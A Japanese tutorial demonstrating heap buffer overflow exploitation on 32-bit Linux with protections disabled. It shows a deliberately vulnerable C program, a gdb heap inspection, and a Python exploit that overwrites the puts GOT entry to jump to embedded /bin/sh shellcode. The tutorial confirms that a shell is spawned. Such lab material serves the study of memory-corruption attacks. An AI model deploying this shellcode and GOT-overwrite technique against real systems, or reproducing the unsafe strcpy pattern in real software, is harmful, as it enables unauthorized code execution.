プログラムの実行時にデータが置かれる場所にはスタックとヒープがあり、スタックと同様ヒープについてもバッファオーバーフローが起こりうる。 ヒープ領域で起こるバッファオーバーフローは、Heap-based buffer overflowあるいはHeap overflowと呼ばれる。 ここでは、ヒープオーバーフローを利用したGOTアドレスの書き換えを行い、シェルコードを経由したシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
ヒープ領域にバッファを確保する構造体を利用した、次のようなプログラムを書いてみる。
/* www.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct Box {
int size;
char *buf;
};
struct Box *create_box(int size)
{
struct Box *box;
box = malloc(sizeof(struct Box));
box->size = size;
box->buf = malloc(size);
return box;
}
void free_box(struct Box *box)
{
free(box->buf);
free(box);
}
int main(int argc, char *argv[])
{
int size;
struct Box *box1, *box2;
size = atoi(argv[1]);
box1 = create_box(size);
box2 = create_box(size);
printf("[+] box1->buf = %p\n", box1->buf);
printf("[+] box2->buf = %p\n", box2->buf);
strcpy(box1->buf, argv[2]);
strcpy(box2->buf, argv[3]);
puts(box1->buf);
puts(box2->buf);
free_box(box2);
free_box(box1);
return 0;
}
Box構造体自体は一つ一つ異なるバッファサイズを指定できるようになっているが、上のコードでは話を簡単にするため2個とも同じサイズとしている。 strcpy関数を使っていることからわかるように、このプログラムにはヒープバッファオーバーフローの脆弱性がある。
ASLR、DEP無効、SSP有効でコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -z execstack www.c $ ./a.out 100 AAAA BBBB [+] box1->buf = 0x804b018 [+] box2->buf = 0x804b090 AAAA BBBB
与える文字列が指定したバッファサイズ内であれば、正しく動作していることが確認できる。
ヒープ領域の状態を確認してみる
gdbを使い、実行時のヒープ領域の状態を調べてみる。
$ gdb -q a.out
Reading symbols from /home/user/tmp/www/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
...
0x08048597 <+109>: mov eax,DWORD PTR [ebp+0xc]
0x0804859a <+112>: add eax,0x8
0x0804859d <+115>: mov eax,DWORD PTR [eax]
0x0804859f <+117>: mov edx,eax
0x080485a1 <+119>: mov eax,DWORD PTR [esp+0x18]
0x080485a5 <+123>: mov eax,DWORD PTR [eax+0x4]
0x080485a8 <+126>: mov DWORD PTR [esp+0x4],edx
0x080485ac <+130>: mov DWORD PTR [esp],eax
0x080485af <+133>: call 0x80483c0 <strcpy@plt>
0x080485b4 <+138>: mov eax,DWORD PTR [ebp+0xc]
0x080485b7 <+141>: add eax,0xc
0x080485ba <+144>: mov eax,DWORD PTR [eax]
0x080485bc <+146>: mov edx,eax
0x080485be <+148>: mov eax,DWORD PTR [esp+0x1c]
0x080485c2 <+152>: mov eax,DWORD PTR [eax+0x4]
0x080485c5 <+155>: mov DWORD PTR [esp+0x4],edx
0x080485c9 <+159>: mov DWORD PTR [esp],eax
0x080485cc <+162>: call 0x80483c0 <strcpy@plt>
0x080485d1 <+167>: mov eax,DWORD PTR [esp+0x18]
...
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+167
Breakpoint 1 at 0x80485d1
(gdb) run 100 AAAA BBBB
Starting program: /home/user/tmp/www/a.out 100 AAAA BBBB
[+] box1->buf = 0x804b018
[+] box2->buf = 0x804b090
Breakpoint 1, 0x080485d1 in main ()
(gdb) i proc map
process 21667
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/user/tmp/www/a.out
0x8049000 0x804a000 0x1000 0x0 /home/user/tmp/www/a.out
0x804a000 0x804b000 0x1000 0x1000 /home/user/tmp/www/a.out
0x804b000 0x806c000 0x21000 0x0 [heap]
0xb7e2b000 0xb7e2c000 0x1000 0x0
0xb7e2c000 0xb7fd0000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so
0xb7fd0000 0xb7fd2000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
0xb7fd2000 0xb7fd3000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
0xb7fd3000 0xb7fd6000 0x3000 0x0
0xb7fdb000 0xb7fde000 0x3000 0x0
0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so
0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so
0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so
0xbffdf000 0xc0000000 0x21000 0x0 [stack]
(gdb) x/100wx 0x804b000
0x804b000: 0x00000000 0x00000011 0x00000064 0x0804b018
0x804b010: 0x00000000 0x00000069 0x41414141 0x00000000
0x804b020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b070: 0x00000000 0x00000000 0x00000000 0x00000011
0x804b080: 0x00000064 0x0804b090 0x00000000 0x00000069
0x804b090: 0x42424242 0x00000000 0x00000000 0x00000000
0x804b0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0f0: 0x00000000 0x00020f11 0x00000000 0x00000000
...
(gdb) quit
A debugging session is active.
Inferior 1 [process 21667] will be killed.
Quit anyway? (y or n) y
上の例では、strcpy関数を2回呼び終わった後のヒープ領域の状態を表示させている。 このときのヒープ領域の状態を整理すると、次のようになっている。
0x804b000:
0x00000000
0x00000011
0x00000064 (buf1->size)
0x0804b018 (buf1->buf)
0x804b010:
0x00000000
0x00000069
0x804b018:
0x41414141 (*(buf1->buf))
...
0x00000000
0x804b07c:
0x00000011
0x00000064 (buf2->size)
0x0804b090 (buf2->buf)
0x804b088:
0x00000000
0x00000069
0x804b090:
0x42424242 (*(buf2->buf))
...
0x00000000
0x804b0f4:
0x00020f11
0x00000000
...
上から、*(buf1->buf)の書き込みがオーバーフローすると、buf2->bufに入っているポインタの上書きが可能であることがわかる。
そしてbuf2->bufが書き換えられたとき、2回目のstrcpy関数が呼び出される際に上書きされたポインタが指す領域にデータが書き込まれることになる。
すなわち、任意のメモリアドレスの値が書き換え可能になる。
このような状態は、Write-what-where Conditionと呼ばれる。
エクスプロイトコードを書いてみる
上で説明したWrite-what-where conditionを利用してputs関数のGOT overwriteを行い、ヒープ領域に置いたシェルコードにジャンプするエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen
size = int(sys.argv[1])
addr_buf1 = int(sys.argv[2], 16)
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
addr_got_puts = 0x804a010 # objdump -d -j.plt a.out
buf1 = shellcode
buf1 += 'A' * (size - len(buf1))
buf1 += 'AAAA' * 2
buf1 += struct.pack('<I', addr_got_puts)
buf2 = struct.pack('<I', addr_buf1)
with open('buf1', 'wb') as f:
f.write(buf1)
with open('buf2', 'wb') as f:
f.write(buf2)
p = Popen(['./a.out', str(size), buf1, buf2])
p.wait()
このコードは、二つのBoxが確保するバッファのサイズ、box1->bufに入っているポインタが指すアドレスを順に引数に取る。
box1->bufが指すアドレスを引数にセットして実行してみる。
$ python exploit.py 100 0x804b018 [+] box1->buf = 0x804b018 [+] box2->buf = 0x804b090 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ヒープオーバーフローによって発生したWrite-what-where conditionを利用しGOT overwriteを行うことにより、シェルコードを経由したシェル起動に成功していることが確認できた。